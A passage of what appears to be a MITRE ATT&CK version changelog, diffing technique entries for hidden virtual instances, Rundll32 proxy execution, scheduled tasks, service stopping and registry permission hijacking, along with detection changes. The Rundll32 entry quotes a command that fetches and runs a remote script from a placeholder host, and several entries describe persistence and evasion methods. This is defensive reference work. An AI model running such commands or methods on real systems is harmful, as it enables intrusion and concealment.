	>	etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.		>	s. For example, the `<MappedFolder>` property supports the c
	>	mitre.org/techniques/T1037/004)) will cause the VM to persis		>	reation of a shared folder, while the `<LogonCommand>` prope
	>	tently restart.(Citation: vNinja Rogue VMs 2024) Creating a		>	rty allows the specification of a payload.(Citation: ESET Mi
	>	VM this way prevents it from appearing in the vCenter consol		>	rrorFace 2025) In VMWare environments, adversaries may leve
	>	e or in the output to the `vim-cmd vmsvc/getallvms` command		>	rage the vCenter console to create new virtual machines. How
	>	on the ESXi server, thereby hiding it from typical administr		>	ever, they may also create virtual machines directly on ESXi
	>	ative activities.(Citation: MITRE VMware Abuse 2024)		>	servers by running a valid `.vmx` file with the `/bin/vmx`
				>	utility. Adding this command to `/etc/rc.local.d/local.sh` (
				>	i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037
				>	/004)) will cause the VM to persistently restart.(Citation:
				>	vNinja Rogue VMs 2024) Creating a VM this way prevents it fr
				>	om appearing in the vCenter console or in the output to the
				>	`vim-cmd vmsvc/getallvms` command on the ESXi server, thereb
				>	y hiding it from typical administrative activities.(Citation
				>	: MITRE VMware Abuse 2024)

Dropped Detections (Data Components -> Technique):

DS0007: Image (Image Metadata)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0321: Detection Strategy for Hidden Virtual Instance Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'Image: Image Metadata', 'Service: Service Creation', 'Process: Process Creation', 'File: File Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:59.831000+00:00	2025-10-24 17:49:15.607000+00:00
description	Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020) In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)	Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) Adversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).(Citation: Securonix CronTrap 2024) After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020) Threat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `` property supports the creation of a shared folder, while the `` property allows the specification of a payload.(Citation: ESET MirrorFace 2025) In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances. Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. `-silent`, `-ignore-reboot`), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. `VBoxManage startvm $VM --type headless`).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. `VBoxManage.exe setextradata global GUI/SuppressMessages "all"`). Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.
x_mitre_version	1.2	1.3

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'ESET MirrorFace 2025', 'description': ' Dominik Breitenbacher. (2025, March 18). Operation AkaiRyū: MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved May 22, 2025.', 'url': 'https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/'}
external_references		{'source_name': 'Securonix CronTrap 2024', 'description': 'Den Iuzvyk and Tim Peck. (2024, November 4). CRON#TRAP: Emulated Linux Environments as the Latest Tactic in Malware Staging. Retrieved May 22, 2025.', 'url': 'https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/'}
x_mitre_contributors		Enis Aksu
x_mitre_contributors		Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc.
x_mitre_contributors		Yusuke Niwa, ITOCHU Cyber & Intelligence Inc.
x_mitre_contributors		Shuhei Sasada, ITOCHU Cyber & Intelligence Inc.
x_mitre_contributors		Jiraput Thamsongkrah
x_mitre_contributors		Purinut Wongwaiwuttiguldej
x_mitre_contributors		Natthawut Saexu

[T1218.011] System Binary Proxy Execution: Rundll32

Current version: 2.5

Version changed from: 2.4 → 2.5

	Old Description			New Description
t	1	Adversaries may abuse rundll32.exe to proxy execution of mal	t	1	Adversaries may abuse rundll32.exe to proxy execution of mal
	>	icious code. Using rundll32.exe, vice executing directly (i.		>	icious code. Using rundll32.exe, vice executing directly (i.
	>	e. [Shared Modules](https://attack.mitre.org/techniques/T112		>	e. [Shared Modules](https://attack.mitre.org/techniques/T112
	>	9)), may avoid triggering security tools that may not monito		>	9)), may avoid triggering security tools that may not monito
	>	r execution of the rundll32.exe process because of allowlist		>	r execution of the rundll32.exe process because of allowlist
	>	s or false positives from normal operations. Rundll32.exe is		>	s or false positives from normal operations. Rundll32.exe is
	>	commonly associated with executing DLL payloads (ex: <code>		>	commonly associated with executing DLL payloads (ex: <code>
	>	rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c		>	rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c
	>	an also be used to execute [Control Panel](https://attack.mi		>	an also be used to execute [Control Panel](https://attack.mi
	>	tre.org/techniques/T1218/002) Item files (.cpl) through the		>	tre.org/techniques/T1218/002) Item files (.cpl) through the
	>	undocumented shell32.dll functions <code>Control_RunDLL</cod		>	undocumented shell32.dll functions <code>Control_RunDLL</cod
	>	e> and <code>Control_RunDLLAsUser</code>. Double-clicking a		>	e> and <code>Control_RunDLLAsUser</code>. Double-clicking a
	>	.cpl file also causes rundll32.exe to execute.(Citation: Tre		>	.cpl file also causes rundll32.exe to execute.(Citation: Tre
	>	nd Micro CPL) For example, [ClickOnce](https://attack.mitre.		>	nd Micro CPL) For example, [ClickOnce](https://attack.mitre.
	>	org/techniques/T1127/002) can be proxied through Rundll32.ex		>	org/techniques/T1127/002) can be proxied through Rundll32.ex
	>	e. Rundll32 can also be used to execute scripts such as Jav		>	e. Rundll32 can also be used to execute scripts such as Jav
	>	aScript. This can be done using a syntax similar to this: <c		>	aScript. This can be done using a syntax similar to this: <c
	>	ode>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "		>	ode>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "
	>	;document.write();GetObject("script:https[:]//www[.]example[		>	;document.write();GetObject("script:https[:]//www[.]example[
	>	.]com/malicious.sct")"</code> This behavior has been seen u		>	.]com/malicious.sct")"</code> This behavior has been seen u
	>	sed by malware such as Poweliks. (Citation: This is Security		>	sed by malware such as Poweliks.(Citation: This is Security
	>	Command Line Confusion) Adversaries may also attempt to ob		>	Command Line Confusion) Threat actors may also abuse legiti
	>	scure malicious code from analysis by abusing the manner in		>	mate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.d
	>	which rundll32.exe loads DLL function names. As part of Wind		>	ll</code>) with <code>rundll32.exe</code> to execute malicio
	>	ows compatibility support for various character sets, rundll		>	us programs or scripts indirectly, making their activity app
	>	32.exe will first check for wide/Unicode then ANSI character		>	ear more legitimate and evading detection.(Citation: lolbas
	>	-supported functions before loading the specified function (		>	project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)
	>	e.g., given the command <code>rundll32.exe ExampleDLL.dll, E		>	Adversaries may also attempt to obscure malicious code from
	>	xampleFunction</code>, rundll32.exe would first attempt to e		>	analysis by abusing the manner in which rundll32.exe loads D
	>	xecute <code>ExampleFunctionW</code>, or failing that <code>		>	LL function names. As part of Windows compatibility support
	>	ExampleFunctionA</code>, before loading <code>ExampleFunctio		>	for various character sets, rundll32.exe will first check fo
	>	n</code>). Adversaries may therefore obscure malicious code		>	r wide/Unicode then ANSI character-supported functions befor
	>	by creating multiple identical exported function names and a		>	e loading the specified function (e.g., given the command <c
	>	ppending <code>W</code> and/or <code>A</code> to harmless on		>	ode>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, run
	>	es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi		>	dll32.exe would first attempt to execute <code>ExampleFuncti
	>	thub NoRunDll) DLL functions can also be exported and execut		>	onW</code>, or failing that <code>ExampleFunctionA</code>, b
	>	ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1<		>	efore loading <code>ExampleFunction</code>). Adversaries may
	>	/code>). Additionally, adversaries may use [Masquerading](h		>	therefore obscure malicious code by creating multiple ident
	>	ttps://attack.mitre.org/techniques/T1036) techniques (such a		>	ical exported function names and appending <code>W</code> an
	>	s changing DLL file names, file extensions, or function name		>	d/or <code>A</code> to harmless ones.(Citation: Attackify Ru
	>	s) to further conceal execution of a malicious payload.(Cita		>	ndll32.exe Obscurity)(Citation: Github NoRunDll) DLL functio
	>	tion: rundll32.exe defense evasion)		>	ns can also be exported and executed by an ordinal number (e
				>	x: <code>rundll32.exe file.dll,#1</code>). Additionally, ad
				>	versaries may use [Masquerading](https://attack.mitre.org/te
				>	chniques/T1036) techniques (such as changing DLL file names,
				>	file extensions, or function names) to further conceal exec
				>	ution of a malicious payload.(Citation: rundll32.exe defense
				>	evasion)

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0475: Detection Strategy for T1218.011 Rundll32 Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:02.470000+00:00	2025-10-24 17:48:20.567000+00:00
description	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"` This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending `W` and/or `A` to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: `rundll32.exe file.dll,#1`). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"` This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., `zipfldr.dll, ieframe.dll`) with `rundll32.exe` to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending `W` and/or `A` to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: `rundll32.exe file.dll,#1`). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
x_mitre_version	2.4	2.5

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'lolbas project Ieframe.dll', 'description': 'lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Libraries/Ieframe/'}
external_references		{'source_name': 'lolbas project Zipfldr.dll', 'description': 'lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/'}
x_mitre_contributors		Amir Hossein Vafifar

[T1053.005] Scheduled Task/Job: Scheduled Task

Current version: 1.8

Version changed from: 1.7 → 1.8

Dropped Detections (Data Components -> Technique):

DS0003: Scheduled Job (Scheduled Job Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0441: Detection of Suspicious Scheduled Task Creation and Execution on Windows

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Creation', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Scheduled Job: Scheduled Job Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:01.010000+00:00	2025-10-24 17:48:19.176000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor process execution from the `svchost.exe` in Windows 10 and the Windows Task Scheduler `taskeng.exe` for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
x_mitre_version	1.7	1.8

[T1489] Service Stop

Current version: 1.4

Version changed from: 1.3 → 1.4

	Old Description			New Description
t	1	Adversaries may stop or disable services on a system to rend	t	1	Adversaries may stop or disable services on a system to rend
	>	er those services unavailable to legitimate users. Stopping		>	er those services unavailable to legitimate users. Stopping
	>	critical services or processes can inhibit or stop response		>	critical services or processes can inhibit or stop response
	>	to an incident or aid in the adversary's overall objectives		>	to an incident or aid in the adversary's overall objectives
	>	to cause damage to the environment.(Citation: Talos Olympic		>	to cause damage to the environment.(Citation: Talos Olympic
	>	Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries		>	Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries
	>	may accomplish this by disabling individual services of hig		>	may accomplish this by disabling individual services of hig
	>	h importance to an organization, such as <code>MSExchangeIS<		>	h importance to an organization, such as <code>MSExchangeIS<
	>	/code>, which will make Exchange content inaccessible.(Citat		>	/code>, which will make Exchange content inaccessible.(Citat
	>	ion: Novetta Blockbuster) In some cases, adversaries may sto		>	ion: Novetta Blockbuster) In some cases, adversaries may sto
	>	p or disable many or all services to render systems unusable		>	p or disable many or all services to render systems unusable
	>	.(Citation: Talos Olympic Destroyer 2018) Services or proces		>	.(Citation: Talos Olympic Destroyer 2018) Services or proces
	>	ses may not allow for modification of their data stores whil		>	ses may not allow for modification of their data stores whil
	>	e running. Adversaries may stop services or processes in ord		>	e running. Adversaries may stop services or processes in ord
	>	er to conduct [Data Destruction](https://attack.mitre.org/te		>	er to conduct [Data Destruction](https://attack.mitre.org/te
	>	chniques/T1485) or [Data Encrypted for Impact](https://attac		>	chniques/T1485) or [Data Encrypted for Impact](https://attac
	>	k.mitre.org/techniques/T1486) on the data stores of services		>	k.mitre.org/techniques/T1486) on the data stores of services
	>	like Exchange and SQL Server, or on virtual machines hosted		>	like Exchange and SQL Server, or on virtual machines hosted
	>	on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal		>	on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal
	>	ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021		>	ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021
	>	)		>	) Threat actors may also disable or stop service in cloud e
				>	nvironments. For example, by leveraging the `DisableAPIServi
				>	ceAccess` API in AWS, a threat actor may prevent the service
				>	from creating service-linked roles on new accounts in the A
				>	WS Organization.(Citation: Datadog Security Labs Cloud Persi
				>	stence 2025)(Citation: AWS DisableAWSServiceAccess)

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0009: Process (Process Termination)
DS0017: Command (Command Execution)
DS0019: Service (Service Metadata)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0021: Behavioral Detection for Service Stop across Platforms

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Liran Ravich, CardinalOps']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Modification', 'Process: OS API Execution', 'Service: Service Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:12.942000+00:00	2025-10-24 17:48:30.688000+00:00
description	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries may accomplish this by disabling individual services of high importance to an organization, such as `MSExchangeIS`, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries may accomplish this by disabling individual services of high importance to an organization, such as `MSExchangeIS`, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021) Threat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor processes and command-line arguments to see if critical processes are terminated or stop running. Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at `HKLM\SYSTEM\CurrentControlSet\Services`. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links. Alterations to the service binary path or the service startup type changed to disabled may be suspicious. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, `ChangeServiceConfigW` may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)
x_mitre_version	1.3	1.4

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'AWS DisableAWSServiceAccess', 'description': 'AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.', 'url': 'https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html'}
external_references		{'source_name': 'Datadog Security Labs Cloud Persistence 2025', 'description': 'Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.', 'url': 'https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/'}
x_mitre_platforms		IaaS

[T1574.011] Hijack Execution Flow: Services Registry Permissions Weakness

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Adversaries may execute their own malicious payloads by hija	t	1	Adversaries may execute their own malicious payloads by hija
	>	cking the Registry entries used by services. Adversaries may		>	cking the Registry entries used by services. Flaws in the pe
	>	use flaws in the permissions for Registry keys related to s		>	rmissions for Registry keys related to services can allow ad
	>	ervices to redirect from the originally specified executable		>	versaries to redirect the originally specified executable to
	>	to one that they control, in order to launch their own code		>	one they control, launching their own code when a service s
	>	when a service starts. Windows stores local service configu		>	tarts. Windows stores local service configuration informatio
	>	ration information in the Registry under <code>HKLM\SYSTEM\C		>	n in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\
	>	urrentControlSet\Services</code>. The information stored und		>	Services</code>. The information stored under a service's Re
	>	er a service's Registry keys can be manipulated to modify a		>	gistry keys can be manipulated to modify a service's executi
	>	service's execution parameters through tools such as the ser		>	on parameters through tools such as the service controller,
	>	vice controller, sc.exe, [PowerShell](https://attack.mitre.		>	sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1
	>	org/techniques/T1059/001), or [Reg](https://attack.mitre.org		>	059/001), or [Reg](https://attack.mitre.org/software/S0075).
	>	/software/S0075). Access to Registry keys is controlled thro		>	Access to Registry keys is controlled through access contro
	>	ugh access control lists and user permissions. (Citation: Re		>	l lists and user permissions. (Citation: Registry Key Securi
	>	gistry Key Security)(Citation: malware_hides_service) If th		>	ty)(Citation: malware_hides_service) If the permissions for
	>	e permissions for users and groups are not properly set and		>	users and groups are not properly set and allow access to t
	>	allow access to the Registry keys for a service, adversaries		>	he Registry keys for a service, adversaries may change the s
	>	may change the service's binPath/ImagePath to point to a di		>	ervice's binPath/ImagePath to point to a different executabl
	>	fferent executable under their control. When the service sta		>	e under their control. When the service starts or is restart
	>	rts or is restarted, then the adversary-controlled program w		>	ed, the adversary-controlled program will execute, allowing
	>	ill execute, allowing the adversary to establish persistence		>	the adversary to establish persistence and/or privilege esca
	>	and/or privilege escalation to the account context the serv		>	lation to the account context the service is set to execute
	>	ice is set to execute under (local/domain account, SYSTEM, L		>	under (local/domain account, SYSTEM, LocalService, or Networ
	>	ocalService, or NetworkService). Adversaries may also alter		>	kService). Adversaries may also alter other Registry keys i
	>	other Registry keys in the service’s Registry tree. For exa		>	n the service’s Registry tree. For example, the <code>Failur
	>	mple, the <code>FailureCommand</code> key may be changed so		>	eCommand</code> key may be changed so that the service is ex
	>	that the service is executed in an elevated context anytime		>	ecuted in an elevated context anytime the service fails or i
	>	the service fails or is intentionally corrupted.(Citation: K		>	s intentionally corrupted.(Citation: Kansa Service related c
	>	ansa Service related collectors)(Citation: Tweet Registry Pe		>	ollectors)(Citation: Tweet Registry Perms Weakness) The <co
	>	rms Weakness) The <code>Performance</code> key contains the		>	de>Performance</code> key contains the name of a driver serv
	>	name of a driver service's performance DLL and the names of		>	ice's performance DLL and the names of several exported func
	>	several exported functions in the DLL.(Citation: microsoft_		>	tions in the DLL.(Citation: microsoft_services_registry_tree
	>	services_registry_tree) If the <code>Performance</code> key		>	) If the <code>Performance</code> key is not already present
	>	is not already present and if an adversary-controlled user h		>	and if an adversary-controlled user has the <code>Create Su
	>	as the <code>Create Subkey</code> permission, adversaries ma		>	bkey</code> permission, adversaries may create the <code>Per
	>	y create the <code>Performance</code> key in the service’s R		>	formance</code> key in the service’s Registry tree to point
	>	egistry tree to point to a malicious DLL.(Citation: insecure		>	to a malicious DLL.(Citation: insecure_reg_perms) Adversari
